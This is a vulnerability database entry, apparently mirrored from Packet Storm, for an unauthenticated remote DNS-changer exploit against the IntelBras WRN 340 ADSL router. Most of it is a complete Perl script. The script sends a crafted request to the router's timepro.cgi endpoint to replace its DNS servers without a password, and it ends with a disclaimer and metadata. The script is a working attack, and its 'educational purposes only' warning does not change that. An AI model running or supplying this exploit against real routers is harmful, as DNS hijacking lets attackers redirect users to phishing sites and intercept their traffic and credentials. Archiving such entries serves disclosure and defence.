ID

VAR-E-201509-0396


TITLE

IntelBras WRN 340 Unauthenticated Remote DNS Changer

Trust: 0.5

sources: PACKETSTORM: 133625

DESCRIPTION

IntelBras WRN 340 (ADSL modem router) remote unauthenticated DNS changing exploit.

Trust: 0.5

sources: PACKETSTORM: 133625

AFFECTED PRODUCTS

vendor:intelbrasmodel:wrnscope:eqversion:340

Trust: 0.5

sources: PACKETSTORM: 133625

EXPLOIT

#!/usr/bin/perl
#
# IntelBras WRN 340 (ADSL Modem-Router) - Unauthenticated Remote DNS Change Exploit
#
# Discovered by:
#
# Gabriel P. Lipski - gp[DOT]lipski[AT]gmail[DOT]com
#
# Brazil, sept. 2015.
#
#
# AVISO:
#
# Este codigo foi feito apenas para fins educacionais.
# NAO USE SEM A PERMISSAO DO DONO DA REDE-ALVO.
# Use por sua conta e risco!
#
#
# WARNING:
#
# This program is for educational purpose only.
# DO NOT USE IT WITHOUT PERMISSION OF TARGET-NETWORK OWNER.
# Use at your own risk!

use LWP::UserAgent;
use HTTP::Request;

if($#ARGV < 2){
print "IntelBras WRN 340 (ADSL Modem-Router) - Unauthenticated Remote DNS Change Exploit\n";
print "Usage: ./$0 <ip> <dns-1> <dns-2>\n";
exit;
}

if($ARGV[1] =~ /(.+)\.(.+)\.(.+)\.(.+)/){ $DNS1 = $1; $DNS2 = $2; $DNS3 = $3; $DNS4 = $4; }

if($ARGV[2] =~ /(.+)\.(.+)\.(.+)\.(.+)/){ $DNS5 = $1; $DNS6 = $2; $DNS7 = $3; $DNS8 = $4; }

$sock = new LWP::UserAgent;
$sock->timeout(5);
$http = new HTTP::Request GET => "http://".$ARGV[0]."/cgi-bin/timepro.cgi?tmenu=netconf&smenu=wansetup&act=save&sel=dynamic&dns_dynamic_chk=on&fdns_dynamic1=".$DNS1."&fdns_dynamic2=".$DNS2."&fdns_dynamic3=".$DNS3."&fdns_dynamic4=".$DNS4."&sdns_dynamic1=".$DNS5."&sdns_dynamic2=".$DNS6."&sdns_dynamic3=".$DNS7."&sdns_dynamic4=".$DNS8."&userid=&passwd=&mtu=1454&ip1=192&ip2=168&ip3=254&ip4=2&sm1=255&sm2=255&sm3=255&sm4=0&gw1=192&gw2=168&gw3=254&gw4=254&fdns1=&fdns2=&fdns3=&fdns4=&sdns1=&sdns2=&sdns3=&sdns4=&static_mtu=1500";
$response = $sock->request($http);

if($response->content =~ /Definir Servidor DNS Manualmente/){
print "Successfully exploited!\n";
}

else {
print "Unknown error.\n";
}

Trust: 0.5

sources: PACKETSTORM: 133625

EXPLOIT HASH

LOCAL

SOURCE

md5: 04b531d446fec2580433323d6d2d2b7b
sha-1: f5befa0d5ce69f475d6274a88b0bab883cffabca
sha-256: 17dc64fef14b3ce589e6d84108278318da8bf27f17e2823a9ea2fc50d8fc4ab6
md5: 04b531d446fec2580433323d6d2d2b7b

Trust: 0.5

sources: PACKETSTORM: 133625

PRICE

free

Trust: 0.5

sources: PACKETSTORM: 133625

TAGS

tag:exploit

Trust: 0.5

tag:remote

Trust: 0.5

sources: PACKETSTORM: 133625

CREDITS

Gabriel P. Lipski

Trust: 0.5

sources: PACKETSTORM: 133625

EXTERNAL IDS

db:PACKETSTORMid:133625

Trust: 0.5

sources: PACKETSTORM: 133625

SOURCES

db:PACKETSTORMid:133625

LAST UPDATE DATE

2022-07-27T09:51:53.987000+00:00


SOURCES RELEASE DATE

db:PACKETSTORMid:133625date:2015-09-21T00:51:20